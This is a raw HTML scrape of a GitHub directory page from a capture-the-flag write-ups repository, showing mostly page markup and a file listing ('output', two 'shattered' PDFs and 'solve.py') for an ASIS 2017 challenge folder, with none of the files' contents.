1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> Robin-Bjornsdotter </span> <span>/</span> writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>0</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/Robin-Bjornsdotter/writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":87312872,"originating_url":"https://github.com/Robin-Bjornsdotter/writeups/tree/master/asis(2017)/shacolla","user_id":null}}" data-hydro-click-hmac="8cda71447274ab055a7e195542864ff0765d20511df501ff324d7b30d84e1ca9"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/Robin-Bjornsdotter/writeups/refs" cache-key="v0:1491399160.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Um9iaW4tQmpvcm5zZG90dGVyL3dyaXRldXBz" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/Robin-Bjornsdotter/writeups/refs" cache-key="v0:1491399160.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Um9iaW4tQmpvcm5zZG90dGVyL3dyaXRldXBz" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>writeups</span></span></span><span>/</span><span><span>asis(2017)</span></span><span>/</span>shacolla<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>writeups</span></span></span><span>/</span><span><span>asis(2017)</span></span><span>/</span>shacolla<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/Robin-Bjornsdotter/writeups/tree-commit/bd2a71b0657d4e2a0b21707581aee7aaedfd74b4/asis(2017)/shacolla" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/Robin-Bjornsdotter/writeups/file-list/master/asis(2017)/shacolla"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>output</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>shattered-1.pdf</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>shattered-2.pdf</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg 